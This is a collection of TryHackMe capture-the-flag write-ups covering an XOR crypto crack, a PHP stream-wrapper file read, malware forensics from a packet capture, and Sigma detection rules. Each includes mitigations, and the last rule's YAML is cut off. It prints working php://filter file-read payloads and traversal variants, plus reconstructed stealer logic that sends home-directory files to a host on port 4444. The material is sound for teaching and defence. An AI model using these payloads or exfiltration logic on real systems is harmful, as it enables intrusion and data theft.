| # | Challenge | Category | Flag |
|---|---|---|---|
| 1 | B1t Recovery | Crypto | THM{[REDACTED]} |
| 2 | Lost Fortune Included | Web | THM{REDACTED} |
| 3 | Casino Heist | Forensics | THM{REDACTED} |
| 4 | Fresh Powder - Bonus Challenge | Detection Engineering | Multiple - THM{REDACTED}
|
| 5 | Agent P | Boot2Root | EVILINC{REDACTED} |
b1t_recovery - Known-Plaintext Attack on Short-Key Repeating XOR
Summary
b1t_recovery is a crypto challenge that XOR-encrypts a flag with a random
4-byte key using pwntools' xor() helper. Because xor() cycles a short
key across the whole plaintext (repeating-key XOR, effectively a weak stream
cipher), and because the flag format is known ahead of time (THM{...}),
the first 4 bytes of ciphertext can be XORed against the known THM{ prefix
to recover the full key directly - no brute force needed. Once the key is
recovered, XORing it back across the entire ciphertext yields the flag.
Challenge Files
b1t_recovery/
├── challenge.py
└── encrypted.bin
challenge.py:
import os
from pwn import *
key = os.urandom(4)
flag = b"THM{FAKE_FLAG_FOR_TESTING}"
encrypted = xor(flag, key)
with open("encrypted.bin", "wb") as f:
f.write(encrypted)
Key details from the source:
- The XOR key is only 4 random bytes (
os.urandom(4)). -
pwntools.xor()repeats/cycles a short key across the full length of the input rather than requiring a key as long as the plaintext. - The real flag follows the same
THM{...}format as the placeholder, which is the crack that breaks this scheme.
Vulnerability
Repeating-key XOR with a short key is only as strong as an attacker's
uncertainty about any stretch of plaintext equal in length to the key.
Here the key is 4 bytes, and the flag format is public knowledge
(THM{ is a fixed, predictable prefix on every flag in this format).
That means the first 4 ciphertext bytes are:
C[0:4] = P[0:4] XOR K[0:4]
= "THM{" XOR K
Since XOR is self-inverse, the key falls straight out:
K = C[0:4] XOR "THM{"
Once K is known, decrypting the rest of the file is just re-applying the
key on a 4-byte cycle across the full ciphertext - the same operation
challenge.py used to encrypt it, run in reverse.
Exploitation
Inspected the ciphertext length and raw bytes:
data = open('encrypted.bin', 'rb').read()
print(len(data)) # 46 bytes
print(data.hex())
Recovered the 4-byte key from the known THM{ prefix and decrypted the full
buffer:
data = open('encrypted.bin', 'rb').read()
known = b'THM{'
key = bytes([data[i] ^ known[i] for i in range(4)])
print('recovered key:', key)
pt = bytes([data[i] ^ key[i % 4] for i in range(len(data))])
print(pt)
Output:
recovered key: b'\xcb\xce\xceC'
b'THM{[REDACTED]}'
Flag
THM{[REDACTED]}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Short (4-byte), reused/cycled XOR key with a predictable-format plaintext prefix |
challenge.py -> encrypted.bin
|
Full key recovery and plaintext decryption via known-plaintext attack, no brute force required |
Mitigations
- Never use repeating-key XOR as encryption for anything beyond a trivial obfuscation exercise - it collapses to a solvable known-plaintext problem the moment any stretch of plaintext equal to the key length is guessable or predictable (headers, magic bytes, fixed-format prefixes like
THM{). - If XOR is used at all, the key must be at least as long as the plaintext and never reused (a true one-time pad), or replaced entirely with an authenticated stream/block cipher (e.g. AES-GCM, ChaCha20-Poly1305).
- Avoid predictable plaintext framing (fixed prefixes/suffixes) around secrets that will be encrypted with anything less than a properly randomized, sufficiently long key - predictable structure is exactly what a known-plaintext attack needs to anchor on.
TryHackMe - Losst Fortune: PHP Filter Chain Bypass to Arbitrary File Read
Flag: THM{REDACTED}
Summary
"Losst Fortune" is a single Apache/PHP box serving a themed document kiosk
("VILLAGE ARCHIVE TERMINAL v2.3") that hands out two files - a PDF and a PNG
- through a
?doc=<filename>parameter. Straightforward path-traversal payloads (../../etc/passwd, double-encoded slashes, null bytes) were all caught by a filter that returns "Only .pdf and .png village documents may be viewed." - but that filter turned out to be watching for../-style traversal sequences specifically, not actually restricting which file gets opened. Feeding the parameter aphp://filter/...stream wrapper instead of a plain path contains no../at all, sails straight past the blacklist, and gets handed to PHP's file-read function unmodified - which happily treats it as a wrapper directive rather than a filename. That gave base64-encoded arbitrary file read as the web server user, and a very short hop from/etc/passwdto the flag sitting in/var/www/.
?doc=<filename> kiosk endpoint
|
v
../ traversal payloads -> blocked ("Only .pdf and .png...")
|
v
php://filter/...resource=<path> -> contains no ../ -> blacklist never triggers
|
v
value passed straight to a PHP file-read function -> treated as a stream wrapper, not a path
|
v
php://filter/read=convert.base64-encode/resource=/etc/passwd -> arbitrary file read
|
v
php://filter/.../resource=/var/www/flag.txt -> flag
Recon
nmap -A -Pn <MACHINE_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: VILLAGE ARCHIVE TERMINAL v2.3
|_http-server-header: Apache/2.4.58 (Ubuntu)
(Note: the target's DHCP-assigned IP changed partway through this engagement,
from 10.48.174.230 to 10.49.159.27, after the TryHackMe VPN instance
recycled - both refer to the same box. Placeholder <MACHINE_IP> is used
throughout for that reason.)
curl http://<MACHINE_IP>/ returns a themed kiosk page listing two
documents and stating its request format plainly:
<div class="prompt">AVAILABLE DOCUMENTS:</div>
<ul>
<li><a href="?doc=village_schedule.pdf">village_schedule.pdf</a></li>
<li><a href="?doc=important.png">important.png</a></li>
</ul>
<div class="footer">
Request format: <code>?doc=<filename></code><br>
Only .pdf and .png documents are served from this terminal.
</div>
Fetched both listed documents for a baseline:
wget 'http://<MACHINE_IP>/?doc=village_schedule.pdf' -O village_schedule.pdf
wget 'http://<MACHINE_IP>/?doc=important.png' -O important.png
village_schedule.pdf: PDF document, version 1.7, 1 page(s) (zip deflate encoded)
important.png: PNG image data, 434 x 431, 8-bit/color RGBA, non-interlaced
Both legitimate, unremarkable files - no obvious flag hiding in either at
this stage.
Confirming the Filter - and What It's Actually Watching For
Straight path traversal is rejected with a specific message:
curl 'http://<MACHINE_IP>/?doc=..%2f..%2f..%2fetc%2fpasswd'
curl 'http://<MACHINE_IP>/?doc=....//....//etc/passwd'
curl 'http://<MACHINE_IP>/?doc=..%252f..%252f..%252fetc%252fpasswd'
curl 'http://<MACHINE_IP>/?doc=%2e%2e/%2e%2e/%2e%2e/etc/passwd'
Only .pdf and .png village documents may be viewed.
Every traversal variant tried - literal ../, single URL-encoding, double
URL-encoding, dot-slash obfuscation - got the exact same block message. That
consistency was the tell: this isn't an extension whitelist reacting to the
absence of .pdf/.png, it's a blacklist reacting to the presence of
../-style sequences specifically. Confirmed by testing a path with no
traversal characters and no valid extension either:
curl 'http://<MACHINE_IP>/?doc=../app.py'
403 (51 bytes)
A 403 here (Apache-level, not the app's own block message) rather than the
app's "Only .pdf and .png..." text further reinforced that the app's own
filter is keyed on the traversal pattern, not the extension.
Dead Ends
A lot of the standard toolkit came up empty on this box - worth recording
so the useful path stands out:
-
dirsearch/gobusteragainst the web root: nothing beyond the default/server-status(403, mod_status present but locked down). -
ffuffuzzing thedocparameter itself againstraft-small-words.txt, and fuzzing filenames likeflag.pdf,secret.png,id_rsa.pdf,.env.pdf: no hits - none of the "obviously named" files exist under the app's own document directory. - Virtual host fuzzing (
Host: FUZZ.thmagainst a large subdomain wordlist): every single name returned the identical 2593-byte default page - this app has no vhost routing at all, it was a dead end from the start. -
TRACE/OPTIONS/HEADmethod probing,X-Forwarded-For/X-Original-URL/X-Rewrite-URLheader tricks, PHP array-style parameters (doc[]=), duplicatedoc=query parameters, and POSTingdocin the body instead of the query string: all either ignored, echoed the default page, or (for the array-style parameter) triggered a generic 500 with no further disclosure. - PNG steganography (
zsteg -a important.png,exiftool important.png): extensive automated bit-plane analysis, no coherent hidden data - false-positive "OpenPGP Secret Key" / format matches fromzstegscanning raw pixel noise, not an actual stego payload.important.pngwas exactly what it looked like. - PDF internals (
qpdf --qdf,pdfdetach -list, manual zlib-decompression of every stream, XOR-brute-forcing a suspicious repeating string found in the raw PDF): the "suspicious" string turned out to be JBIG2/image compression artifacts, and every decompressed stream was ordinary image/ICC-profile data.village_schedule.pdfwas also exactly what it looked like.
The two served documents and the web root itself were both red herrings by
design - the vulnerability was in how the doc parameter gets consumed, not
in the documents' content.
The Bypass - PHP Stream Wrappers Contain No ../
Since the block is a blacklist on traversal syntax, anything that reaches
the same file-read function without using ../ slips through untouched.
PHP's php://filter stream wrapper is exactly that: it lets you wrap a
resource=<path> argument in a filter chain (here, base64-encoding it on
the way out) without a single ../ or ..%2f anywhere in the string.
Sent straight at /etc/passwd:
curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd'
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv...
No block message, no 403, no 500 - a clean base64 blob. Decoded directly:
curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd' | base64 -d | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
Confirmed arbitrary file read as whatever user Apache/PHP is running as.
This is the whole vulnerability in one line: the traversal blacklist checks
the string for ../, but the value is ultimately handed to a PHP function
that resolves php:// stream wrappers - a completely different, legitimate
PHP feature that was never in the blacklist's scope, and was never meant to
be reachable from user input at all.
Getting the Flag
/home/ubuntu/.ssh and /home/ubuntu/ both returned empty (likely
permission-denied at the OS level for whichever low-privilege user PHP runs
as - a dead end, not a bypass failure). The application's own working
directory was the better target - village_schedule.pdf and
important.png both live directly under /var/www/, so the flag was worth
trying in the same place:
curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/var/www/flag.txt' | base64 -d
THM{REDACTED}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Traversal blacklist instead of a real path/extension whitelist |
?doc=<filename> handler |
Blocks ../-style payloads only; doesn't restrict which file actually gets opened |
| 2 | User-controlled value passed unfiltered into a PHP file-read function |
?doc=<filename> handler |
PHP stream wrappers (php://filter/...) bypass the blacklist entirely, giving arbitrary file read |
Mitigations
- Never rely on blacklisting traversal syntax (
../, encoded variants, etc.) as a security boundary - validate the resolved value against an actual allowlist of permitted absolute paths (e.g. comparerealpath()of the requested file against a fixed, known-good directory). - Explicitly reject any
docvalue containing a://scheme separator before it ever reaches a file-read function - PHP stream wrappers (php://,phar://,data://,expect://, and others) are a well-known class of filter/whitelist bypass and should never be reachable from unsanitized user input. - Serve user-selectable documents by an internal ID or a strict allowlisted filename map (
{"village_schedule": "village_schedule.pdf", "important": "important.png"}) rather than passing user input into a filesystem or stream-wrapper call at all - this removes the bypass surface entirely rather than trying to filter it. - Run the web application as a minimally-privileged user with read access to nothing outside its own document root, so that even a successful arbitrary-file-read bug can't reach
/etc/passwd, SSH keys, or other sensitive host files.
Casino Heist - Network Forensics / Malware Analysis Writeup
Challenge file: stolen_jackpot.pcapng (701 packets, ~71.9s capture, 20MB)
Category: PCAP forensics + PyInstaller reverse engineering
Flag: THM{REDACTED}
Summary
The capture shows recon against a small web app (/admin, /cms, /flag all 404), followed by a
successful GET /stealer that downloads a 20MB ELF binary. That binary is a Python info-stealer
packaged with PyInstaller. Extracting and disassembling it revealed hardcoded AES-CBC key/IV
material and exfiltration logic that walks /home for any file ending in .jackpot, encrypts it,
and ships it out over a raw TCP socket. Two short follow-up connections later in the capture are
that exact exfiltration in action - following one of those streams and decrypting with the key/IV
pulled from the binary recovers the flag.
Recon of the capture
Started with the basics - just getting oriented before looking at any actual traffic content:
capinfos stolen_jackpot.pcapng
Number of packets: 701
Capture duration: 71.850694232 seconds
Data size: 20 MB
Data byte rate: 286 kBps
Average packet size: 29399.47 bytes
Not much to conclude yet - 701 packets over ~72 seconds, 20MB total, and a fairly large average
packet size (normal traffic chatter tends to run smaller; this hints that some packets are large,
but nothing here says what they contain or which protocol they belong to).
tshark -r stolen_jackpot.pcapng -q -z io,phs
eth frames:701 bytes:20609026
arp frames:22 bytes:924
ip frames:679 bytes:20608102
tcp frames:661 bytes:20606338
http frames:8 bytes:55145
data-text-lines frames:3 bytes:1605
data frames:1 bytes:52890
icmp frames:18 bytes:1764
This is a byte-count breakdown by protocol layer, not a list of transactions. It says: almost all
20MB of the capture is tcp traffic (ARP and ICMP are negligible), but only 55KB of that gets
classified further down as http by Wireshark's dissector - and only 1 frame of that shows up as a
generic data object (52.9KB). That's a big gap: ~20.6MB of TCP payload total, but only ~55KB
attributed to HTTP. The likely reason is TCP segmentation and reassembly - when an HTTP response
body spans many TCP segments, Wireshark only classifies the final reassembled frame as http/
data; the individual segments that make it up are just counted as plain tcp. At this point
that's a plausible explanation for the gap, not a confirmed one - it doesn't yet tell us there's a
large file download, just that there's a lot of TCP payload that isn't showing up as HTTP.
HTTP requests in the capture
To actually see what's happening at the HTTP level rather than just byte totals, filtered directly
on http:
tshark -r stolen_jackpot.pcapng -Y http -T fields \
-e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.request.uri \
-e http.response.code -e http.content_type
22 172.20.0.1 → 172.20.0.2 GET /admin → 404
34 172.20.0.1 → 172.20.0.2 GET /cms → 404
46 172.20.0.1 → 172.20.0.2 GET /flag → 404
76 172.20.0.1 → 172.20.0.2 GET /stealer → 200 application/octet-stream
This is the first point where the traffic actually tells a story: 172.20.0.1 is probing a handful
of common paths against a server at 172.20.0.2:8080 - /admin, /cms, /flag all come back
404 - and then a fourth request, GET /stealer, gets a 200 with content type
application/octet-stream. That's a real file being served, and it's the only successful request
in the whole capture, so it's the obvious next thing to pull out and look at.
Extracting the binary
tshark -r stolen_jackpot.pcapng --export-objects http,objects
ls -la objects/
-rw-r--r-- 1 root root 469 stealer_extracted... admin
-rw-r--r-- 1 root root 469 cms
-rw-r--r-- 1 root root 469 flag
-rw-r--r-- 1 root root 20559968 stealer
The /admin, /cms, /flag responses are all tiny (469 bytes - just generic 404 pages). stealer
is 20,559,968 bytes - which is where that earlier gap between "20.6MB of TCP payload" and "55KB of
HTTP" actually gets explained: this one file accounts for essentially the entire size of the
capture. That confirms what the protocol hierarchy stats only hinted at - the bulk of this capture
is the download of this one binary, carried across hundreds of individual TCP segments that
reassemble into a single large HTTP response.
file objects/stealer
stealer: ELF 64-bit LSB executable, x86-64, ... dynamically linked, ... stripped
strings -a stealer | grep -i python
PyRun_SimpleStringFlags
LOADER: failed to allocate argv array for execvp!
pyi-python-flag
libpython3.10.so.1.0
The PyRun_SimpleStringFlags / LOADER: / pyi-python-flag strings are the signature of a
PyInstaller onefile bundle - this "ELF binary" is really a packaged Python 3.10 script plus a
bundled interpreter and dependencies (20MB tracks with a full Python runtime being embedded).
Unpacking with pyinstxtractor-ng
pyinstxtractor-ng stealer
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Found 198 files in CArchive
[+] Possible entry point: stealer.pyc
[+] Found 666 files in PYZ archive
[+] Successfully extracted pyinstaller archive: stealer
stealer.pyc in stealer_extracted/ is the actual malware entry point (everything else is the
bundled Python stdlib/runtime and third-party packages like pycryptodome).
Reading the bytecode
Standard decompilers (decompyle3, uncompyle6) don't support Python 3.10 bytecode yet, so this
was read directly via xdis's disassembler instead of trying to recover exact source:
import xdis
xdis.disassemble_file('stealer_extracted/stealer.pyc')
The disassembly reconstructs cleanly enough to read as pseudocode. Module-level constants:
KEY = b'J4ckp0tH4ck3rKey' # 16 bytes -> AES-128 key
IV = b'Iv_For_Exf1ltr8!' # 16 bytes -> AES CBC IV
HOST = '172.20.0.3'
PORT = 4444
And the run() function's logic:
def run():
if socket.gethostname() != 'b0x':
raise SystemExit # a basic sandbox/VM check
for root, _, files in os.walk('/home'):
for f in files:
if f.endswith('.jackpot'):
data = open(os.path.join(root, f), 'rb').read()
enc = AES.new(KEY, AES.MODE_CBC, IV).encrypt(pad(data, 16))
s = socket.socket()
s.connect((HOST, PORT))
s.sendall(f.encode() + b'\n' + enc)
s.close()
So the malware: walks /home for files ending in .jackpot, AES-CBC-encrypts each one with a
hardcoded key/IV, and exfiltrates filename\n<ciphertext> over a plain TCP socket to
172.20.0.3:4444.
Finding and decrypting the exfiltration
Two short TCP streams later in the capture connect out to 172.20.0.3:4444 - exactly matching the
malware's exfil behavior:
682 172.20.0.1 → 172.20.0.3 TCP 49496 → 4444 [SYN]
685 172.20.0.1 → 172.20.0.3 TCP [PSH, ACK] Len=61
690 172.20.0.1 → 172.20.0.3 TCP 49500 → 4444 [SYN]
693 172.20.0.1 → 172.20.0.3 TCP [PSH, ACK] Len=29
Two attempts (the second, shorter one is likely a smaller/retry payload); the first carries the
full flag file. Following that TCP stream in raw hex:
tshark -r stolen_jackpot.pcapng -q -z follow,tcp,raw,4
666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5
Splitting on the first 0a (newline) byte separates the filename from the ciphertext:
666c61672e6a61636b706f740a -> "flag.jackpot\n"
9bcc341f...8fe5 -> 48-byte AES-CBC ciphertext
Decrypting with the key/IV recovered from the binary:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY = b'J4ckp0tH4ck3rKey'
IV = b'Iv_For_Exf1ltr8!'
raw = bytes.fromhex("666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b"
"15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5")
nl = raw.index(b'\n')
fname, enc = raw[:nl].decode(), raw[nl+1:]
cipher = AES.new(KEY, AES.MODE_CBC, IV)
print(unpad(cipher.decrypt(enc), 16))
b'THM{REDACTED}'
Flag
THM{REDACTED}
Notes / Takeaways
- The malware's "encryption" only protects the data in transit against a passive observer who doesn't have the sample - once the binary itself is captured (as it was here, served in plaintext HTTP), the hardcoded key/IV completely defeats the scheme. Hardcoded symmetric keys inside a distributable binary are never actually secret.
- The
socket.gethostname() != 'b0x'check is a weak anti-analysis / targeting gate (only runs its payload on a host namedb0x) - trivially bypassed by renaming the analysis VM, or in this case irrelevant since we're statically reading the bytecode rather than executing it. - PyInstaller-packed samples are common in commodity stealers because they're easy to build and the
resulting binary looks like a generic stripped ELF at a glance;
stringsforpyi-python-flag/PyRun_SimpleStringFlagsis a fast way to fingerprint them, and tools likepyinstxtractor-ngmake recovering the original.pycstraightforward even without a working decompiler for the exact bytecode version.
TryHackMe: Fresh Powder - Detection Engineering Writeup
Scenario: TSS CSIRT investigated a ransomware precursor intrusion against Cascadia Ski and Resort Collective, a three-property ski/hospitality group (Snowridge, Alderpeak, Timberline) sharing one IT backbone. The intrusion is attributed to POWDER WOLF, an eCrime cluster known for using stolen remote access credentials against hospitality infrastructure, with tooling overlap against LockBit/Akira affiliate playbooks. The attack ran the full kill chain - initial access through ransomware staging - and was only caught at the staging step, before encryption, via investigation rather than any alert. Five detections were opened as pull requests in a Detection-as-Code (Sigma) repository, one per kill chain phase, each shipped deliberately broken. The task: understand the attack, tune each rule against the real environment, and get all five merged.
Pipeline: every PR runs Sigma Syntax Check → Converter (sigma convert -t splunk) → Environment Validation (scored against a real answer key in Splunk) → Automated Red Team Test (adversarial bypass attempts) → peer approval → merge.
PR #1 - External RDP Logon From an Untrusted Source Grants Administrative Access
Technique: T1133/T1078 · Flag: (not captured in this writeup - merged first)
Root cause: the original exclusion filter (IpAddress|startswith: '203.0.113.') excluded the attacker's own source range, not Cascadia's legitimate traffic - an inverted allowlist that would silently ignore the real intrusion.
Fix: rebuilt the exclusion logic from docs/environment-routines.md's three real routines - internal admin hops (10.40.0.0/16, IP-only), the VPN pool (10.90.0.0/16, IP and one of three named accounts), and SummitDesk MSP maintenance (198.51.100.0/24, IP and the paired service account). Both the VPN and MSP filters required pairing IP range with account, since the doc explicitly warned the range alone doesn't confirm legitimacy for either.
Red Team bypass: rule only caught LogonType 10 (fresh interactive), missing session resume via LogonType 7 (Unlock) from the same untrusted source. Fixed by adding both logon types to selection.
detection:
selection:
EventID: 4624
LogonType: ['10', '7']
filter_internal_hop:
IpAddress|startswith: '10.40.'
filter_vpn_authorized_staff:
IpAddress|startswith: '10.90.'
TargetUserName: ['r.doyle', 'k.nakamura', 'p.okonkwo']
filter_summitdesk_msp:
IpAddress|startswith: '198.51.100.'
TargetUserName: 'svc_summitdesk_support'
condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)
PR #2 - NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test
Technique: T1046/T1135 · Flag: THM{REDACTED}
Root cause: the rule checked ShareName|endswith: 'delete.me'. ShareName holds the share path itself (e.g. \\DC-CSRC01\C$); the object accessed within the share is a separate field, RelativeTargetName. Checking the wrong field meant the rule silently matched nothing.
Fix:
detection:
selection:
EventID: 5145
RelativeTargetName|endswith: 'delete.me'
condition: selection
No exclusion filter was needed - nothing in environment-routines.md legitimately produces this artifact.
PR #3 - Remote Access Tool Installed as a Service on Server Infrastructure
Technique: T1543.003 · Flag: THM{REDACTED}
Root cause, in layers:
-
Image|endswith: '\AnyDesk.exe'referenced a process-creation field for what is actually a service install event (EventID 7045) - Environment Validation scored 0%. - No host-tier filter - AnyDesk-as-a-service is legitimate on workstations (
SNW-PC*/ALD-PC*/TBL-PC*) per the environment doc, illegitimate on servers. - Once pointed at the right event,
ServiceFileName|endswith: '\AnyDesk.exe'still scored 0% - ground truth in Splunk showed the real value is...\AnyDesk.exe --service, which doesn't end with the exe path because of the trailing flag. Neededcontains, notendswith. - Red Team Test bypassed an AnyDesk-only rule using ScreenConnect and TeamViewer - same technique, different tool.
Fix:
detection:
selection:
EventID: 7045
ServiceFileName|contains: ['AnyDesk.exe', 'ScreenConnect', 'TeamViewer']
filter_workstation_class:
ComputerName|startswith: ['SNW-PC', 'ALD-PC', 'TBL-PC']
condition: selection and not filter_workstation_class
Lesson: don't trust a field name that merely sounds plausible from the incident narrative - verify against raw Splunk ground truth (sourcetype, actual populated fields) before assuming.
PR #4 - 7-Zip Archives Data Directly From a Live Network Share
Technique: T1560.001/T1567 · Flag: THM{REDACTED}
Root cause: CommandLine|contains: '-p' - the real attacker command line never used a -p flag at all; the actual anomaly is archiving straight out of a live UNC share.
Debugging detour: attempts to match a literal double-backslash ('\\', '\\\\') all converted to the same single-backslash SPL pattern (CommandLine="*\\*"), which matched almost any Windows path and produced 24 false positives (an unrelated, undocumented recurring "shared backup" job across many hosts). Confirmed by reproducing the pipeline's exact generated SPL directly in Splunk and inspecting the false-positive events. Sidestepped the unreliable escaping by matching a specific, unambiguous host+share substring instead of a generic UNC prefix.
Red Team bypasses closed:
- WinRAR / Rar as alternate archivers
- PowerShell's
Compress-Archive(no external binary) - 7-Zip binary renamed to an innocuous filename - fixed by matching on
OriginalFileName(embedded PE metadata) instead ofImagepath - Generalizing past
FS-RESV01to other server-tier shares (BKP-CSRC01, etc.)
Fix:
detection:
selection_archiver_tools:
OriginalFileName: ['7z.exe', '7zFM.exe', '7zG.exe', 'WinRAR.exe', 'Rar.exe']
CommandLine|contains:
- 'FS-RESV01\'
- 'BKP-CSRC01\'
- 'DC-CSRC01\'
- 'DC-CSRC02\'
- 'DC-CSRC03\'
- 'HV-CSRC01\'
selection_ps_tool:
Image|endswith: '\powershell.exe'
CommandLine|contains: 'Compress-Archive'
selection_ps_share:
CommandLine|contains:
- 'FS-RESV01\'
- 'BKP-CSRC01\'
- 'DC-CSRC01\'
- 'DC-CSRC02\'
- 'DC-CSRC03\'
- 'HV-CSRC01\'
filter_monthly_export:
ParentImage|endswith: '\wscript.exe'
CommandLine|contains: 'ReservationsExport_'
condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export
PR #5 - Lynx Ransomware Payload Executed With Distinctive Encryption Flags
Technique: T1486 · Flag: THM{REDACTED}
Root cause, in layers:
-
ParentImage|endswith: '\services.exe'- the real indicator showsParentImage: cmd.exe, notservices.exe. - Needed to exclude the legitimate
DiskOptimizer.exenightly job, which uses the same--dir/--mode fastflags. - First fix anchored
selectiononImage|endswith: '\w.exe'plus the flags, and excluded DiskOptimizer by install path + OriginalFileName together - but Red Team Test bypassed this: a payload renamed toDiskOptimizer.exeand dropped at the exact legitimate install path never matchedselectionin the first place (it doesn't end with\w.exe), so it skipped the filter stage entirely.
Final fix: stopped anchoring selection on any filename - key purely on the distinctive, attacker-controlled flags, and exclude the legitimate tool using only its embedded OriginalFileName metadata (harder to spoof than an install path):
detection:
selection:
CommandLine|contains|all: ['--dir', '--mode fast']
filter_diskoptimizer:
OriginalFileName: 'DiskOptimizer.exe'
condition: selection and not filter_diskoptimizer
Lesson: an exclusion filter is only as strong as its least-spoofable field. A path-based exclusion is trivially defeated by an attacker who's already mapped the environment (which POWDER WOLF had, via the NetScan/NetExec sweeps); embedded PE metadata is a meaningfully higher bar.
Overall lessons across all five PRs
-
Verify fields against raw data, don't trust the incident narrative's plain-English field names. Multiple rules failed because a field referenced in
selection(ShareName,ServiceFileName+endswith,Image+services.exe) sounded right but wasn't what was actually populated in the real Splunk events. -
Every exclusion filter needs to be built from
environment-routines.md, not assumed. The original PR #1 bug (excluding the attacker's own IP) is the clearest example of building a filter from something that merely looked like a "known" value. - The Automated Red Team Test consistently punished over-fitting to one sample artifact - a single tool name, a single file server, a single filename, a single logon type. Every rule needed to generalize from "this one indicator" to "the underlying technique" to pass.
-
Prefer the least-spoofable field for both selection and exclusion.
OriginalFileName(embedded PE metadata) beatImage(process path) and install-path-only filters every time an attacker could plausibly rename or relocate a binary. - Don't trust automatic backslash/escaping behavior blindly - when a Sigma modifier's generated SPL doesn't behave as expected, reproduce the pipeline's exact generated query directly in the SIEM to see real matching events before respecifying syntax blindly.
Appendix - Final files to paste
Complete final YAML for each rule, ready to paste into Files changed, with a one-line FIX summary after each. Flags redacted.
PR #1 - rules/rdp_untrusted_source_logon.yml
title: External RDP Logon From an Untrusted Source Grants Administrative Access
id: fc14f8ac-c4d3-4071-b717-c2b85dc463d2
status: experimental
description: Detects an interactive RDP logon on any host in the estate from a source outside Cascadia's known internal, VPN, and vendor routines, consistent with POWDER WOLF's initial access tradecraft.
author: morgan-reyes
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType:
- '10'
- '7'
filter_internal_hop:
IpAddress|startswith: '10.40.'
filter_vpn_authorized_staff:
IpAddress|startswith: '10.90.'
TargetUserName:
- 'r.doyle'
- 'k.nakamura'
- 'p.okonkwo'
filter_summitdesk_msp:
IpAddress|startswith: '198.51.100.'
TargetUserName: 'svc_summitdesk_support'
condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)
FIX: Replaced the inverted allowlist (excluded the attacker's own IP block instead of Cascadia's legitimate ranges) with real exclusions from environment-routines.md. Added LogonType 7 (Unlock) alongside 10 to catch session-resume bypass.
PR #2 - rules/netscan_share_writetest.yml
title: NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test
id: 9ab1b326-e9e3-4b6b-b4c2-81857d774b0b
status: experimental
description: Detects file share object access checks referencing a delete.me marker file, consistent with a network scanning tool testing write access across every discovered administrative share, part of POWDER WOLF's discovery phase following initial access.
author: morgan-reyes
logsource:
product: windows
service: security
detection:
selection:
EventID: 5145
RelativeTargetName|endswith: 'delete.me'
condition: selection
FIX: Corrected field from ShareName (the share path) to RelativeTargetName (the actual object accessed). No exclusion filter needed.
PR #3 - rules/remote_access_service_persistence.yml
title: Remote Access Tool Installed as a Service on Server Infrastructure
id: 6e4f2418-b99a-4df2-868f-fe4086055996
status: experimental
description: Detects a remote access application installed as a Windows service on server tier infrastructure, where Cascadia's own helpdesk only ever deploys these tools on end user workstations, consistent with POWDER WOLF's persistence tradecraft on the domain controller.
author: morgan-reyes
logsource:
product: windows
service: security
detection:
selection:
EventID: 7045
ServiceFileName|contains:
- 'AnyDesk.exe'
- 'ScreenConnect'
- 'TeamViewer'
filter_workstation_class:
ComputerName|startswith:
- 'SNW-PC'
- 'ALD-PC'
- 'TBL-PC'
condition: selection and not filter_workstation_class
FIX: Switched from process-creation Image to the real service-install event (EventID 7045) and ServiceFileName|contains (not endswith, due to a trailing --service flag). Added workstation-class exclusion and expanded beyond AnyDesk to ScreenConnect/TeamViewer.
PR #4 - rules/sevenzip_share_archive_collection.yml
title: Archiving Tool Compresses Data Directly From a Live Network Share
id: 2a3f3da0-0725-4ef1-a857-05fcf21b0f8c
status: experimental
description: Detects an archiving operation (7-Zip, WinRAR, or PowerShell's Compress-Archive) whose command line references a share path on server tier infrastructure directly, rather than local user documents, consistent with POWDER WOLF's collection staging ahead of exfiltration.
author: morgan-reyes
logsource:
product: windows
category: process_creation
detection:
selection_archiver_tools:
OriginalFileName:
- '7z.exe'
- '7zFM.exe'
- '7zG.exe'
- 'WinRAR.exe'
- 'Rar.exe'
CommandLine|contains:
- 'FS-RESV01\'
- 'BKP-CSRC01\'
- 'DC-CSRC01\'
- 'DC-CSRC02\'
- 'DC-CSRC03\'
- 'HV-CSRC01\'
selection_ps_tool:
Image|endswith: '\powershell.exe'
CommandLine|contains: 'Compress-Archive'
selection_ps_share:
CommandLine|contains:
- 'FS-RESV01\'
- 'BKP-CSRC01\'
- 'DC-CSRC01\'
- 'DC-CSRC02\'
- 'DC-CSRC03\'
- 'HV-CSRC01\'
filter_monthly_export:
ParentImage|endswith: '\wscript.exe'
CommandLine|contains: 'ReservationsExport_'
condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export
FIX: Replaced the meaningless -p flag check with server-hostname substring matching (double-backslash UNC matching proved unreliable in the converter). Added OriginalFileName matching (defeats renaming), WinRAR/Rar, and PowerShell's Compress-Archive.
PR #5 - rules/lynx_ransomware_deployment.yml
title: Lynx Ransomware Payload Executed With Distinctive Encryption Flags
id: fef37376-5b9b-4ada-b67b-2ce4d9177323
status: experimental
